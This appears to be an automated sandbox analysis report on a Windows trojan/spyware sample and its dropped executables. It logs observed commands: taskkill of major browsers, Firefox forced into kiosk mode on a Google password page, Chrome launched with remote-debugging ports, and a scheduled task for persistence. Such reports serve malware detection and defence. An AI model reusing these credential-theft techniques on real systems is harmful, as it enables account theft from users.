Windows Analysis Report
file.exe

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 02e4e14003.exe.6.dr	Static PE information: section name:
Source: 02e4e14003.exe.6.dr	Static PE information: section name: .rsrc
Source: 02e4e14003.exe.6.dr	Static PE information: section name: .idata
Source: 02e4e14003.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 074873f122.exe.6.dr	Static PE information: section name:
Source: 074873f122.exe.6.dr	Static PE information: section name: .rsrc
Source: 074873f122.exe.6.dr	Static PE information: section name: .idata
Source: 074873f122.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 7afc94686a.exe.6.dr	Static PE information: section name:
Source: 7afc94686a.exe.6.dr	Static PE information: section name: .idata
Source: 7afc94686a.exe.6.dr	Static PE information: section name:
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name:
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name: .idata
Source: f72eb1bfa4.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name:
Source: 2a8ef8d829.exe.6.dr	Static PE information: section name: .idata
Source: 47f677ba64.exe.6.dr	Static PE information: section name:
Source: 47f677ba64.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.10.dr	Static PE information: section name:
Source: random[2].exe.10.dr	Static PE information: section name: .idata
Source: random[2].exe.10.dr	Static PE information: section name:
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name:
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name: .idata
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9984992336512262
Source: file.exe	Static PE information: Section: luuuoucb ZLIB complexity 0.994196529451642
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9984992336512262
Source: skotes.exe.0.dr	Static PE information: Section: luuuoucb ZLIB complexity 0.994196529451642
Source: random[1].exe.6.dr	Static PE information: Section: byaebdxw ZLIB complexity 0.9945377955481397
Source: 02e4e14003.exe.6.dr	Static PE information: Section: byaebdxw ZLIB complexity 0.9945377955481397
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9974216171617162
Source: random[1].exe0.6.dr	Static PE information: Section: qqnpmrdy ZLIB complexity 0.9950155781484258
Source: 074873f122.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974216171617162
Source: 074873f122.exe.6.dr	Static PE information: Section: qqnpmrdy ZLIB complexity 0.9950155781484258
Source: random[1].exe1.6.dr	Static PE information: Section: tcmgcthi ZLIB complexity 0.9945983701426837
Source: 7afc94686a.exe.6.dr	Static PE information: Section: tcmgcthi ZLIB complexity 0.9945983701426837
Source: f72eb1bfa4.exe.6.dr	Static PE information: Section: tcmgcthi ZLIB complexity 0.9945983701426837
Source: random[2].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9984992336512262
Source: random[2].exe.10.dr	Static PE information: Section: luuuoucb ZLIB complexity 0.994196529451642
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9984992336512262
Source: DocumentsJDGCFBAFBF.exe.10.dr	Static PE information: Section: luuuoucb ZLIB complexity 0.994196529451642

Source: 7afc94686a.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe1.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: f72eb1bfa4.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@130/113@212/24

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5724:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4456:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 074873f122.exe, 00000008.00000003.2494712324.0000000006028000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2495118801.000000000600C000.00000004.00000800.00020000.00000000.sdmp, 7afc94686a.exe, 0000000A.00000003.2811385092.000000001D025000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2651778274.000000000616C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: softokn3.dll.10.dr, softokn3[1].dll.10.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe "C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe "C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe "C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe "C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe "C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe"
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {056c1829-1489-4462-84f6-93cc61eafcc5} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 142eea70d10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe "C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2264,i,3408409767648630959,14384072730844611425,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe "C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1500 -parentBuildID 20230927232528 -prefsHandle 1592 -prefMapHandle 1588 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9228ff8-9980-4fa2-9141-b9f58deda460} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 142eea40e10 rdd
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1964,i,5845654631187663994,2567746143753107217,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2436,i,13671840630298564156,2498455928288971155,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe "C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe "C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5008 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 2772 -prefMapHandle 5000 -prefsLen 33432 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3d4cebb5-683c-4393-aef5-39b16f43d113} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 143007c8110 utility
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCFBAFBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCFBAFBF.exe "C:\Users\user\DocumentsJDGCFBAFBF.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5268 --field-trial-handle=1964,i,5845654631187663994,2567746143753107217,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=1984,i,3123970943931403646,18259308143120188445,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe "C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe"
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe "C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe "C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe "C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe "C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe "C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe "C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCFBAFBF.exe"
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
